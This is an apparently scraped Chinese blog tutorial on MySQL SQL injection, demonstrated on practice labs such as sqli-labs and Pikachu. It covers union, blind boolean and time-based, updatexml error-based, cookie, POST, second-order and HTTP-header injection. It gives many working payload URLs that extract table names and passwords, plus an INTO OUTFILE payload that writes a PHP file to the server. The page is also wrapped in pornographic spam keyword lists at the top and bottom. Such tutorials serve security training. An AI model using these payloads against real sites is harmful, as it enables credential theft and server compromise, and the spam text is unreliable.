<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      滲透測試-sql注入-mysql注入

      ?1.SQL注入基礎:SQL:數據庫查詢與程序設計語言,用于存儲數據,查詢,更新,插入,管理數據庫。

      SQL注入:攻擊者通過構造特殊的SQL語句,入侵目標系統,致使數據庫中的數據泄露。

      注入存在需要滿足兩個條件:1.存在數據庫交互:正確或錯誤的顯示在web頁面上。2.參數(?id)用戶可控

      SQL注入可以干什么?1.查詢數據  2.讀寫文件  3.執行命令

      影響:用戶信息泄露

      2.Mysql數據庫結構

      數據庫A

                 表

                   列

                     字段

      information_schmema 這個數據庫會記載所有信息,mysql5.0以上都會自帶這個數據庫。

      數據庫名:Database()

      版本:version()

      用戶:user()

      Information_schema.tables 記錄表名的表

      Information_schema.columns 記錄列名信息的表

      Table_name 表名

      Column_name 列名

      Group_concat() 表示整個查詢

      3.數字型注入

      步驟:

      1、order by 1 正常 order by 1000錯誤 -->存在交互,會報錯
      2、order by 2 3 .. order by 3正常 order by 4錯誤
      3、Union select 1,2,3 爆出顯示數字的位置
      4、獲取數據庫,用戶權限,MySQL版本信息查詢指定數據庫下的表,并分析可能儲存有管理員賬號密碼信息的表。
      5、獲取指定表名下的列名
      6、獲取指定列名下的字段
      7、MD5解密
      8、找到后臺,進入后臺,尋找文件上傳等漏洞getshell

      解決方法:1.加 '   2.加and1=2

      演示:

      第一步:判斷數據庫長度為3,爆出顯位。

      第二步:爆出數據庫名稱和用戶權限

      第三步:爆出指定數據庫的表名,并思考哪個表可能會存放管理員賬戶密碼。

      第四步:爆出指定表的列名

      第五步:爆出指定列的字段信息(賬戶名/密碼)

      4.字符型注入

      如何判斷是數字型注入還是字符型注入?

      Where id = 1 數字型

      Where id =”1” 字符型

      Where id = ‘1’ 字符型

      判斷:輸入 and 1=2 不報錯,說明是字符型。

      數據庫源碼:

      判斷閉合條件:

      最外面一層引號不用管,這是作為一條sql語句自帶的,1'是我們自己輸入的,由一對單引號給引起來,作為字符型語句。LIMIT 0,1表示逐行讀取。當后面有干擾符號時,使用%23 --+ 注釋掉 ,%23-- 注釋 +是空格。

      如果是雙引號括號組合:單引號 and 1=2不報錯

      去掉最外一層單引號,1''是我們自己輸入的語句,剩下一個雙引號和后面一個括號,所以可以判斷雙引號前面也需要一個括號。我們需要去閉合語句,才能進行注入。

      通過報錯語句推測:(“1”)--+”)

      首先需要讓數據庫報錯:是因為我們需要知道數據庫是否跟我產生交互。

      不讓數據庫報錯:因為我們需要讓數據庫執行我們構造的SQL語句。

      為什么數據庫報錯:SQL語句有錯。

      判斷為字符型注入以后,構造閉合之后的步驟和數字型一樣。

      5.盲注

      普通注入:會直接爆出信息

      盲注:需要通過一些變化(逐字拆解)來判斷出我們猜的信息對不對。

      分類:①布爾型:基于頁面顯示的正常或錯誤
      正常頁面:

      加',判斷存在sql注入:

      界面只存在兩種狀態:You are in (正常)     什么都沒有(錯誤)

      當什么信息都無法獲取時(沒有爆出可顯位置),嘗試盲注,很多工具都是采用盲注。

      情況:1.sql語句出現錯誤,閉合+注釋    2.>100也不報錯 加-1

      盲注步驟:

      1. 獲取數據庫長度,or length(database())>1,報錯,嘗試加注釋。

      2. 加注釋后顯示正常,說明該系統存在盲注漏洞。

      3. 把長度設置為100,看數據庫是否報錯,這里顯示沒有報錯,說明語句存在問題。

      4. 設置-1,讓數據庫報錯。

      采用二分法判斷數據庫長度:

      知道位數有什么用:簡化工作量。判斷表,列,字段長度也可以采用二分法,可以節省跑字典時間。

      ASCII碼:用python chr()函數,直接解碼數字,也可以自己寫個小腳本一次計算多個數字的ASCII碼。ASCII碼字母大小寫不一樣。

      采用ASCII碼注入:

      1.猜出第一個字母是s,第一個1表示第一個字母,第二個1不用管。substr()函數是字符截取函數。

      http://192.168.72.130:86/Less-5/?id=-1' or(select substr(database(),1,1)='s') --+

      2.猜第二個字母是s,數據庫顯示報錯。

      局限性:這里面你不光要猜26個英文字母還要猜10個數字 u1s1。如果把英文字母轉成ASCII碼,就全是數字,節省了猜詞的時間。注意:這里數字(115)不需要用括號括起來。

      不用猜數據庫的方法:直接用database()代替數據庫名。

      采用burpsuite快速拆解:1.設置,注意兩個變量都要設置。

      2.通過長度判斷,點一下Length,按順序排列。1-8位就是我們需要的ASCII碼(因為之前通過手工注入已經判斷該數據庫長度為8)。

       

      3.改變http請求。

      4.調節線程,讓字典跑的快一點,1000是上限。

      5.判斷是否爆破成功。

      6.解ASCII碼。

      7.猜表、列、字段。

      聯合查詢:1.Union select table_name from information_schema.tables where table_schema='security'
      2.Union select column_name from information_schema.columns where table_name='users'
      3.Union select (group_concat(passsword))from security.users 猜解表名:http://192.168.72.130:86/Less-5/?id=-1' or(select group_concat(ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)) =100 --+ 猜解列名:http://192.168.72.130:86/Less-5/?id=-1' or(select group_concat(ascii(substr(column_name,1,1)) from information_schema.columns where table_name='users'limit 0,1) )=100 --+ 猜解字段:http://192.168.72.130:86/Less-5/?id=-1' or(select ascii(substr(password,1,1)) from security.users limit 0,1)) =68 --+Limit 0,1
      逐行讀取,為什么要加limit 0,1 ?為什么猜數據庫名的時候不需要:當前網站數據庫肯定連接的一個數據庫,但表有很多,我們需要告知數據庫我們查詢哪一個表。 

      8.用BurpSuite跑字典爆破:

      1. 先抓包,再改包,也可以在之前的包的基礎上修改

      2. 設置變量

      3. 爆破表名,如果找的不是用戶名密碼所在的表,可以改變爆破的表格。

      4. 爆破列名:...

      5. 爆破字段:...

      ②顯錯注入/報錯注入

      當頁面不會輸出和數據庫有關的參數時,這個時候就需要用到函數UpdateXml (XML_document, XPath_string, new_value); 

      第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc;

      第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程;

      第三個參數:new_value,String格式,替換查找到的符合條件的數據。

      Payload:http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,database()),1) --+
      http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
      http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) --+
      http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users )),1) --+
      當系統有安全狗,不讓你查數據庫的時候,數據庫換成database(),查表直接查users。

      ③基于時間延遲的盲注

      1.判斷是否存在基于時間延遲的盲注,輸入’and sleep(5) 頁面處于一直加載的狀態,直到第五秒才加載完成說明存在。

      2.判斷數據庫長度:and if(length(database())=7,sleep(5),sleep(1)) --+ 條件成立執行第二個,不成立執行第三個。依然可以采用之前判斷數據庫長度的方法。

      3.獲取具體信息:

      獲取數據庫名:

      ' and if(ascii(substr(database(),1,1))=114,sleep(20),sleep(1)) --+

      獲取表名:

      ' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)=114,sleep(20),sleep(1)) --+

      獲取字段:...

      6.提交方式注入

      ①POST注入

      場景:登錄框,一般為字符串,不是數字型,需要考慮閉合問題。

      ①先開burpsuite抓包,然后在登錄框輸入信息,再查看抓到的報文。

      ②修改報文提交信息,加單引號,查看響應報文,如果響應報文報錯,證明有漏洞存在。

      ③修改提交語句,讓響應報文不報錯。order by 1不報錯,order by 100報錯,證明語句沒問題。

       

      ④接下來就是正常流程,爆顯位,爆數據庫,爆表,爆列,爆字段。

      ②cookie注入

      場景:網站開發人員光過濾GET、POST提交,忽略了cookie

      $_GET  $_POST  $_COOKIE   $_REQUEST(全部接受)

      分兩種情況:1.目標網站有cookie。

      2.目標網站沒有cookie,這種情況我們可以硬寫一個cookie。

      ①正常登錄網站

      ②抓包

      ③注入,在cookie字段加',響應包報錯,說明存在cookie注入。

      ④order by 1正常,order by 100報錯,說明語句沒問題。

      ⑤order by x猜數據庫長度,這里為3。然后開始爆顯位。

      ⑥沒有爆出顯位,加'和and 1=2,爆出顯位。也可以在admin前面加-1。

      ⑦接下來就是正常走流程,爆數據庫,爆表,爆列,爆字段。

      7.二次注入

      環境配置:1.SQLi-labs安裝

      https://github.com/Audi-1/sqli-labs

      2.修改配置文件:sqli-labs-master\sql-connections\db-creds.inc

      二次注入原理:mysql_real_escape_string 前端被過濾,安全,無法注入。

      二次查詢的過程中沒有過濾導致注入。

      分類:①任意用戶密碼修改

      Update users set password where username='admin’

      Update users set password where username='admin'#’在注冊賬戶的過程中,admin'#被轉義了,所以可以生成admin'#賬戶,但是在更新密碼的過程中,#'被一對單引號閉合了,沒有任何作用,所以導致修改admin'#的密碼,系統執行的是修改admin的密碼。$username=admin'# 更新密碼沒有過濾,可注入。

      注入前:

      修改admin'#的密碼:

      admin'#的密碼沒有被修改,admin的密碼修改成了123456:

      ②留言板注入

      靶場:http://47.240.40.250:6003/main.php(按月付費)

      1.判斷注入點:正常的返回,輸入2,返回2。每次提交需要重新返回頁面才能看見結果。

      2.通過三個’確定出現問題的地方:類型。

      
      
      原理:
      $sql="insert into post 
      Set cate='222',
      Message='$message',
      B_id='$id';
      
      修改數據庫語句:"$sql="insert into post 
      Set cate='222',message=user()/*',
      Message='$message',
      B_id='$id';
      ”*/#’
      
      /*  */為注釋,這里不能用--或者#注釋,因為在user()后面加--或者#只會注釋掉后面的'號,下面的Message還是會覆蓋前面的message。#號用來注釋后面的'號,讓user()后面的'起作用。
      
      
      

      具體步驟:

      1.構造注入查詢語句,提交,返回。

      2.閉合

      3.查數據庫名:1',message=database(),/*

      4.查列名:

      1',message=(select group_concat(column_name) from information_schema.tables where table_name='users'),/*

      5.查字段:

      1',message=(select password from users where id=1),/*

      注意:用之前查字段構造式不好使的時候使用id,步驟3、4、5都需要閉合。

      8.head頭注入:又叫http頭注入,是報錯注入的延伸和擴展。包括:user-agent、refer、xff三種。靶場環境:掌控安全學院SQL注入。

      為什么會存在注入:當用戶成功登錄的時候,為了方便用戶查看上次登錄的到底是不是自己,采取的一種安全措施。記錄在數據庫的過程中就可能會存在注入。

      靶場核心代碼分析:

      $username = $_POST['username'];
      $password = $_POST['password'];
      $uagent = $_SERVER['HTTP_USER_AGENT'];
      $jc = $username.$password;
      $sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
      if(preg_match('/.*\'.*/',$jc)!== 0){die('為了網站安全性,禁止輸入某些特定符號');}
      mysqli_select_db($conn,'****');//不想告訴你庫名
      $result = mysqli_query($conn,$sql);
      $row = mysqli_fetch_array($result);
      $uname = $row['username'];
      $passwd = $row['password'];
      if($row){
      $Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";//滿足SQL注入條件:存在與數據庫的交互,且無過濾。
      $result1 = mysqli_query($conn,$Insql);
      print_r(mysqli_error($conn));
      echo '成功登錄';

      開burpsuite抓包改包:

      注入方法:直接把user-agent后面內容刪掉重寫,不過需要注意兩個問題:

      1.user-agent后面一定要有一個空格

      2.閉合問題

      注入步驟:
      1.在user-agent后面加一個',響應報文報錯,說明用戶可控。

      2.構造payload,這里使用的"~"和之前的ASCII碼0x7E是一個原理。這里構造語句失敗。

      3.查看源代碼,找失敗原因。

      因為我們在payload中加入了--+,把源數據庫后面的括號給注釋掉了,造成了語句沒有閉合,所以報錯了。

      4.把缺失的括號加進去,讓語句閉合。響應報文還是報錯。

      5.把--+換成#,沒有報錯。爆出了數據庫名,賬戶,密碼。

      其他字段原理相同,refer(實際應用中比較少),x_forward_for字段如果報文中沒有,可以自己寫一個。

      深入(注意賦值的個數,黑盒測試只能逐一測試)

      當查詢表名時候提示:

      Column count doesn't match value count at row 1

      百度后調整語句,MySQL不報錯,但是沒有顯示出信息。

      把and換成or,和limit 0,1無關:

      'or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='head_error' limit 0,1)),1),1) #

      9.高權限寫入文件

      漏洞練習平臺:Pikachu。

      步驟:①構造語句,閉合,判斷數據庫長度。

      ②爆顯位,這里兩個顯位都可以用。

      ③判斷數據庫權限為root。

      ④寫入文件(這里生成路徑要用絕對路徑,執行寫入命令后,會在對應目錄生成test.php文件,位于根目錄之下。)

      http://127.0.0.1/pkc/vul/sqli/sqli_str.php?name=' union select 1,'<?php phpinfo ?>' into outfile 'c:\\phpstudy\\www\\pkc\\test.php' --+&submit=??¥èˉ¢

      ⑤用小葵將 <?php phpinfo() ?> 轉碼

      ⑥生成tep.php后就可以直接訪問。

      網站路徑如何獲取?、

      1.報錯顯示

      2.谷歌黑客 Inurl:warning

      3.讀取配置文件(著名CMS可適用)

      4.漏洞報錯

      5.遺留文件:phpinfo

      6.字典猜解

      *注意事項:路徑的寫法:要么/ 要么就兩個\\

      10.高權限跨庫注入:

      條件:root權限:user()

      A無注入點,B存在MySQL注入 A,B都在同一個MySQL數據庫當中。

      步驟:①確定數據庫長度。

      ②再爆出顯位。

      ③爆出全部數據庫,這里不能用database()代替(很重要)

      ④選哪個數據庫就爆哪個數據庫的表。

      ⑤爆列。

      ⑥爆字段。

       

      未完待續——參數類型注入、加解密注入、魔術引號。

      posted @ 2021-01-16 17:46  罌粟不及你的美  閱讀(604)  評論(0)    收藏  舉報
      目錄代碼
      主站蜘蛛池模板: 吉林省| 欧洲美熟女乱av在免费| 乱人伦人妻中文字幕无码久久网| 亚洲人成网7777777国产 | 国产三级精品三级在线专区1| 香蕉久久久久久av成人| 中文字幕日韩精品人妻| 人人妻人人妻人人片av| 99国产精品99久久久久久| 天天爽夜夜爽人人爽曰| 久久亚洲精品中文字幕馆| 国偷自产av一区二区三区| 国模在线视频一区二区三区| 久久精品国产亚洲av麻豆长发| 久操热在线视频免费观看| 亚洲人成网网址在线看| 日本久久99成人网站| 激情综合网激情国产av| 91久久精品美女高潮不断 | 国产成人a在线观看视频免费| 好日子在线观看视频大全免费动漫 | 营山县| 综合偷自拍亚洲乱中文字幕| 亚洲综合精品第一页| 亚洲乱码中文字幕小综合| 中文字幕色偷偷人妻久久| 综合欧美视频一区二区三区| 内射干少妇亚洲69XXX| 久久久综合香蕉尹人综合网 | 国产精品美女黑丝流水| 水蜜桃视频在线观看免费18| 久久久婷婷成人综合激情| 亚洲小说乱欧美另类| 国产亚洲人成网站在线观看| 97国产露脸精品国产麻豆| 亚洲av色综合久久综合| 美女胸18下看禁止免费视频| 在线观看国产成人av片| 中文字幕日韩有码国产| 国产熟妇另类久久久久久| 欧美在线一区二区三区精品|